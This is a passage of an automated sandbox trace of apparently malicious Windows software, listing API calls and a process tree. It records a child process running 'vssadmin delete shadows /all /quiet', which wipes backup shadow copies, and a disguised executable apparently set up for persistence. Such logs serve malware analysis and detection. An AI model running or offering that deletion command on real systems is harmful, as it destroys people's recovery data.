GetProcessHeap () returned 0x330000 [0039.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4) returned 0x3529d0 [0039.695] GetProcessHeap () returned 0x330000 [0039.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1a) returned 0x34e0c0 [0039.695] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0039.695] GetProcessHeap () returned 0x330000 [0039.695] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34e060 | out: hHeap=0x330000) returned 1 [0039.696] LoadLibraryW (lpLibFileName="RASMONTR.DLL") returned 0x7fef8770000 [0042.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x216c70 | out: lpSystemTimeAsFileTime=0x216c70*(dwLowDateTime=0x8729fab0, dwHighDateTime=0x1d52d18)) [0042.602] GetCurrentProcessId () returned 0xb64 [0042.602] GetCurrentThreadId () returned 0xb68 [0042.602] GetTickCount () returned 0x1a83f [0042.602] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x216c78 | out: lpPerformanceCount=0x216c78*=16275000106) returned 1 [0042.990] LoadLibraryA (lpLibFileName="MSVCRT.DLL") returned 0x7fefdad0000 [0043.357] GetVersion () returned 0x1db10106 [0043.357] SetErrorMode (uMode=0x0) returned 0x0 [0043.357] SetErrorMode (uMode=0x8001) returned 0x0 [0043.384] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x354360 [0043.384] LocalFree (hMem=0x354360) returned 0x0 [0043.384] GetVersion () returned 0x1db10106 [0043.385] GlobalLock (hMem=0x870008) returned 0x354360 [0043.408] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x354580 [0043.408] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x353080 [0043.408] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x352360 [0043.408] malloc (_Size=0x100) returned 0xe7c80 [0043.408] __dllonexit () returned 0x7fef385621c [0043.409] __dllonexit () returned 0x7fef38566e0 [0043.412] __dllonexit () returned 0x7fef38572b8 [0043.412] __dllonexit () returned 0x7fef38587cc [0043.412] __dllonexit () returned 0x7fef3858d64 [0043.412] __dllonexit () returned 0x7fef3858db4 [0043.413] __dllonexit () returned 0x7fef3858e70 [0043.413] __dllonexit () returned 0x7fef385a308 [0043.413] __dllonexit () returned 0x7fef3858810 [0043.415] __dllonexit () returned 0x7fef3867598 [0043.415] __dllonexit () returned 0x7fef3858880 [0043.415] __dllonexit () returned 0x7fef385a170 [0043.415] __dllonexit () returned 0x7fef385a280 [0043.415] __dllonexit () returned 0x7fef385ad44 [0043.416] __dllonexit () returned 0x7fef385bc30 [0043.416] __dllonexit () returned 0x7fef385bc80 [0043.416] __dllonexit () returned 0x7fef385c338 [0043.416] __dllonexit () returned 0x7fef385d030 [0043.416] __dllonexit () returned 0x7fef38559cc [0043.416] __dllonexit () returned 0x7fef38559f0 [0043.416] __dllonexit () returned 0x7fef3855a1c [0043.418] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc0fd [0043.419] __dllonexit () returned 0x7fef3867568 [0043.419] __dllonexit () returned 0x7fef3867574 [0043.420] __dllonexit () returned 0x7fef3867580 [0043.420] __dllonexit () returned 0x7fef386758c [0043.420] GetVersion () returned 0x1db10106 [0043.420] GetVersion () returned 0x1db10106 [0043.420] GetVersion () returned 0x1db10106 [0043.420] __dllonexit () returned 0x7fef37ba15c [0043.420] __dllonexit () returned 0x7fef37c6610 [0043.420] __dllonexit () returned 0x7fef3858910 [0043.420] __dllonexit () returned 0x7fef3858b90 [0043.421] __dllonexit () returned 0x7fef3858bb4 [0043.421] __dllonexit () returned 0x7fef37d6ae0 [0043.421] GetVersion () returned 0x1db10106 [0043.421] GetProcessVersion (ProcessId=0x0) returned 0x60001 [0043.422] GetSystemMetrics (nIndex=11) returned 32 [0043.422] GetSystemMetrics (nIndex=12) returned 32 [0043.422] GetSystemMetrics (nIndex=2) returned 17 [0043.422] GetSystemMetrics (nIndex=3) returned 17 [0043.422] GetDC (hWnd=0x0) returned 0x22010793 [0043.423] GetDeviceCaps (hdc=0x22010793, index=88) returned 96 [0043.423] GetDeviceCaps (hdc=0x22010793, index=90) returned 96 [0043.423] ReleaseDC (hWnd=0x0, hDC=0x22010793) returned 1 [0043.423] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.423] GetSysColor (nIndex=16) returned 0xa0a0a0 [0043.423] GetSysColor (nIndex=20) returned 0xffffff [0043.423] GetSysColor (nIndex=18) returned 0x0 [0043.423] GetSysColor (nIndex=6) returned 0x646464 [0043.423] GetSysColorBrush (nIndex=15) returned 0x1100059 [0043.423] GetSysColorBrush (nIndex=6) returned 0x1100061 [0043.423] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0043.423] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0043.423] __dllonexit () returned 0x7fef3858f84 [0043.423] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc0fe [0043.425] __dllonexit () returned 0x7fef37e3990 [0043.425] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0043.426] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0043.426] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0043.426] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0043.426] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0043.426] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0043.426] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0043.426] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0043.426] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0043.426] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0043.426] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0b1 [0043.426] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0b7 [0043.426] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc0fe [0043.427] __dllonexit () returned 0x7fef38675a4 [0043.427] __dllonexit () returned 0x7fef38675bc [0043.427] __dllonexit () returned 0x7fef38675c8 [0043.427] __dllonexit () returned 0x7fef38675d4 [0043.427] __dllonexit () returned 0x7fef38675e0 [0043.428] GetCursorPos (in: lpPoint=0x7fef38c26d8 | out: lpPoint=0x7fef38c26d8*(x=1332, y=773)) returned 1 [0043.428] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x3548d0 [0043.428] LocalReAlloc (hMem=0x352360, uBytes=0x18, uFlags=0x2) returned 0x3549e0 [0043.428] GetCurrentThread () returned 0xfffffffffffffffe [0043.428] GetCurrentThreadId () returned 0xb68 [0043.428] __dllonexit () returned 0x7fef385cfa4 [0043.429] SetErrorMode (uMode=0x0) returned 0x8001 [0043.429] SetErrorMode (uMode=0x8001) returned 0x0 [0043.429] GetModuleFileNameW (in: hModule=0x7fef37a0000, lpFilename=0x216360, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0043.429] wcscpy_s (in: _Destination=0x216570, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0043.430] FindResourceW (hModule=0x7fef37a0000, lpName=0xe01, lpType=0x6) returned 0x7709b0 [0043.462] LoadStringW (in: hInstance=0x7fef37a0000, uID=0xe000, lpBuffer=0x216780, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0043.462] wcscpy_s (in: _Destination=0x216394, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0043.462] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0044.395] malloc (_Size=0x80) returned 0xe7eb0 [0044.395] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x354a00 [0044.395] GetSystemDirectoryA (in: lpBuffer=0x216a00, uSize=0x112 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0044.395] strcat_s (in: _Destination="C:\\Windows\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\Windows\\system32\\MFC42") returned 0x0 [0044.395] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\Windows\\system32\\MFC42LOC") returned 0x0 [0044.395] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\Windows\\system32\\MFC42LOC.DLL") returned 0x0 [0044.395] LoadLibraryExA (lpLibFileName="C:\\Windows\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0044.419] GetProcAddress (hModule=0x7fef8770000, lpProcName="InitHelperDll") returned 0x7fef878cf70 [0044.419] InitHelperDll () returned 0x0 [0044.419] RegisterHelper () returned 0x0 [0044.419] GetProcessHeap () returned 0x330000 [0044.419] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x108) returned 0x356b10 [0044.420] GetProcessHeap () returned 0x330000 [0044.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x352910 | out: hHeap=0x330000) returned 1 [0044.885] RegisterHelper () returned 0x0 [0044.888] GetProcessHeap () returned 0x330000 [0044.910] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x160) returned 0x356c20 [0044.910] GetProcessHeap () returned 0x330000 [0044.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x356b10 | out: hHeap=0x330000) returned 1 [0044.911] RegisterHelper () returned 0x0 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1b8) returned 0x356d90 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x356c20 | out: hHeap=0x330000) returned 1 [0044.911] RegisterHelper () returned 0x0 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x210) returned 0x356b10 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x356d90 | out: hHeap=0x330000) returned 1 [0044.911] RegisterHelper () returned 0x0 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x268) returned 0x356d30 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x356b10 | out: hHeap=0x330000) returned 1 [0044.911] RegEnumValueW (in: hKey=0x90, dwIndex=0x1, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="nshwfp", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0044.911] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0044.911] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0044.911] GetProcessHeap () returned 0x330000 [0044.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x352910 [0044.912] GetProcessHeap () returned 0x330000 [0044.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xe) returned 0x352360 [0044.912] GetProcessHeap () returned 0x330000 [0044.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x16) returned 0x352380 [0044.912] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0044.912] GetProcessHeap () returned 0x330000 [0044.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3528b0 | out: hHeap=0x330000) returned 1 [0044.912] LoadLibraryW (lpLibFileName="NSHWFP.DLL") returned 0x7fef3a00000 [0047.042] GetProcAddress (hModule=0x7fef3a00000, lpProcName="InitHelperDll") returned 0x7fef3a6b6d0 [0047.042] InitHelperDll () returned 0x0 [0047.314] RegisterHelper () returned 0x0 [0047.315] GetProcessHeap () returned 0x330000 [0047.315] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x2c0) returned 0x360ed0 [0047.315] GetProcessHeap () returned 0x330000 [0047.315] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x356d30 | out: hHeap=0x330000) returned 1 [0047.315] RegEnumValueW (in: hKey=0x90, dwIndex=0x2, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="dhcpclient", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0047.315] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0047.315] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0047.315] GetProcessHeap () returned 0x330000 [0047.315] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xa0) returned 0x356d30 [0047.315] GetProcessHeap () returned 0x330000 [0047.315] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x16) returned 0x3523a0 [0047.315] GetProcessHeap () returned 0x330000 [0047.315] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x22) returned 0x357360 [0047.315] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0047.315] GetProcessHeap () returned 0x330000 [0047.315] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x352910 | out: hHeap=0x330000) returned 1 [0047.315] LoadLibraryW (lpLibFileName="DHCPCMONITOR.DLL") returned 0x7fef8870000 [0051.476] GetProcAddress (hModule=0x7fef8870000, lpProcName="InitHelperDll") returned 0x7fef8871a40 [0051.476] InitHelperDll () returned 0x0 [0051.477] RegisterHelper () returned 0x0 [0051.477] GetProcessHeap () returned 0x330000 [0051.477] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x318) returned 0x365e60 [0051.477] GetProcessHeap () returned 0x330000 [0051.477] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x360ed0 | out: hHeap=0x330000) returned 1 [0051.477] RegEnumValueW (in: hKey=0x90, dwIndex=0x3, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="wshelper", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0051.477] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0051.477] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0051.477] GetProcessHeap () returned 0x330000 [0051.477] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xc8) returned 0x360ed0 [0051.477] GetProcessHeap () returned 0x330000 [0051.477] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x12) returned 0x363610 [0051.477] GetProcessHeap () returned 0x330000 [0051.477] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1a) returned 0x361620 [0051.477] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0051.477] GetProcessHeap () returned 0x330000 [0051.477] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x356d30 | out: hHeap=0x330000) returned 1 [0051.477] LoadLibraryW (lpLibFileName="WSHELPER.DLL") returned 0x7fef8820000 [0053.504] GetProcAddress (hModule=0x7fef8820000, lpProcName="InitHelperDll") returned 0x7fef8821720 [0053.504] InitHelperDll () returned 0x0 [0053.514] RegisterHelper () returned 0x0 [0053.514] GetProcessHeap () returned 0x330000 [0053.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x370) returned 0x366bd0 [0053.514] GetProcessHeap () returned 0x330000 [0053.514] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x365e60 | out: hHeap=0x330000) returned 1 [0053.514] RegEnumValueW (in: hKey=0x90, dwIndex=0x4, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="nshhttp", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0053.514] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0053.514] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0053.514] GetProcessHeap () returned 0x330000 [0053.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xf0) returned 0x365e60 [0053.514] GetProcessHeap () returned 0x330000 [0053.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x363630 [0053.514] GetProcessHeap () returned 0x330000 [0053.514] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x18) returned 0x363650 [0053.514] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0053.514] GetProcessHeap () returned 0x330000 [0053.514] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x360ed0 | out: hHeap=0x330000) returned 1 [0053.514] LoadLibraryW (lpLibFileName="NSHHTTP.DLL") returned 0x7fef8810000 [0055.805] GetProcAddress (hModule=0x7fef8810000, lpProcName="InitHelperDll") returned 0x7fef8811c24 [0055.805] InitHelperDll () returned 0x0 [0055.805] RegisterHelper () returned 0x0 [0055.805] GetProcessHeap () returned 0x330000 [0055.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x3c8) returned 0x366f50 [0055.805] GetProcessHeap () returned 0x330000 [0055.805] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x366bd0 | out: hHeap=0x330000) returned 1 [0055.805] RegEnumValueW (in: hKey=0x90, dwIndex=0x5, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="fwcfg", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0055.805] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0055.805] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0055.805] GetProcessHeap () returned 0x330000 [0055.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x118) returned 0x365f60 [0055.805] GetProcessHeap () returned 0x330000 [0055.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xc) returned 0x363670 [0055.805] GetProcessHeap () returned 0x330000 [0055.805] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x363690 [0055.805] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0055.805] GetProcessHeap () returned 0x330000 [0055.805] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x365e60 | out: hHeap=0x330000) returned 1 [0055.806] LoadLibraryW (lpLibFileName="FWCFG.DLL") returned 0x7fef87e0000 [0058.333] GetProcAddress (hModule=0x7fef87e0000, lpProcName="InitHelperDll") returned 0x7fef87e2d20 [0058.333] InitHelperDll () returned 0x0 [0058.333] RegisterHelper () returned 0x0 [0058.333] GetProcessHeap () returned 0x330000 [0058.333] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x420) returned 0x36b320 [0058.333] GetProcessHeap () returned 0x330000 [0058.333] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x366f50 | out: hHeap=0x330000) returned 1 [0058.333] RegEnumValueW (in: hKey=0x90, dwIndex=0x6, lpValueName=0x352340, lpcchValueName=0x217270, lpReserved=0x0, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8 | out: lpValueName="authfwcfg", lpcchValueName=0x217270, lpType=0x0, lpData=0x34e090, lpcbData=0x2172b8) returned 0x0 [0058.333] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0058.333] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0058.333] GetProcessHeap () returned 0x330000 [0058.333] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x140) returned 0x366bd0 [0058.333] GetProcessHeap () returned 0x330000 [0058.333] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x3636d0 [0058.333] GetProcessHeap () returned 0x330000 [0058.333] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1c) returned 0x366750 [0058.333] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0058.334] GetProcessHeap () returned 0x330000 [0058.334] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x365f60 | out: hHeap=0x330000) returned 1 [0058.334] LoadLibraryW (lpLibFileName="AUTHFWCFG.DLL") Process: id = "6" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x43c5f000" os_pid = "0xb6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb3c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 18 os_tid = 0xb70 Thread: id = 19 os_tid = 0xb74 Thread: id = 20 os_tid = 0xb78 Thread: id = 21 os_tid = 0xb7c Thread: id = 22 os_tid = 0xb80 Process: id = "7" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x43667000" os_pid = "0xb84" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xb6c" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00075ceb" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 23 os_tid = 0xb98 Thread: id = 24 os_tid = 0xb94 [0041.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf4db60 | out: lpSystemTimeAsFileTime=0xf4db60*(dwLowDateTime=0x86c600f0, dwHighDateTime=0x1d52d18)) [0041.944] GetCurrentProcessId () returned 0xb84 [0041.944] GetCurrentThreadId () returned 0xb94 [0041.944] GetTickCount () returned 0x1a5b0 [0041.944] QueryPerformanceCounter (in: lpPerformanceCount=0xf4db68 | out: lpPerformanceCount=0xf4db68*=16209217950) returned 1 [0041.944] malloc (_Size=0x100) returned 0x2d8e80 Thread: id = 25 os_tid = 0xb90 Thread: id = 26 os_tid = 0xb8c Thread: id = 27 os_tid = 0xb88 Thread: id = 28 os_tid = 0xb9c Thread: id = 29 os_tid = 0xba0 Thread: id = 44 os_tid = 0xbbc Thread: id = 60 os_tid = 0x7d0 Thread: id = 83 os_tid = 0x774 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0xb84" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 30 os_tid = 0xb04 Thread: id = 31 os_tid = 0x128 Thread: id = 32 os_tid = 0x76c Thread: id = 33 os_tid = 0x758 Thread: id = 34 os_tid = 0x74c Thread: id = 35 os_tid = 0x72c Thread: id = 36 os_tid = 0x71c Thread: id = 37 os_tid = 0x718 Thread: id = 38 os_tid = 0x638 Thread: id = 39 os_tid = 0x154 Thread: id = 40 os_tid = 0x150 Thread: id = 41 os_tid = 0x12c Thread: id = 42 os_tid = 0x120 Thread: id = 43 os_tid = 0x3fc Thread: id = 61 os_tid = 0x940 Thread: id = 81 os_tid = 0x7e8 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x42e6c000" os_pid = "0xba4" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0xb84" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000767f2" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 45 os_tid = 0xbc0 Thread: id = 46 os_tid = 0xbb8 Thread: id = 47 os_tid = 0xbb4 Thread: id = 48 os_tid = 0xbb0 Thread: id = 49 os_tid = 0xbac Thread: id = 50 os_tid = 0xba8 Thread: id = 84 os_tid = 0x488 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 62 os_tid = 0xb08 Thread: id = 63 os_tid = 0x9d0 Thread: id = 64 os_tid = 0x6b4 Thread: id = 65 os_tid = 0x754 Thread: id = 66 os_tid = 0x704 Thread: id = 67 os_tid = 0x6e0 Thread: id = 68 os_tid = 0x6b0 Thread: id = 69 os_tid = 0x698 Thread: id = 70 os_tid = 0x678 Thread: id = 71 os_tid = 0x630 Thread: id = 72 os_tid = 0x610 Thread: id = 73 os_tid = 0x14c Thread: id = 74 os_tid = 0x140 Thread: id = 75 os_tid = 0x158 Thread: id = 76 os_tid = 0x294 Thread: id = 77 os_tid = 0x218 Thread: id = 78 os_tid = 0x230 Thread: id = 79 os_tid = 0x21c Thread: id = 80 os_tid = 0x1c4 Thread: id = 82 os_tid = 0x494 Thread: id = 85 os_tid = 0x2a8 Process: id = "11" image_name = "cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" page_root = "0x7554a000" 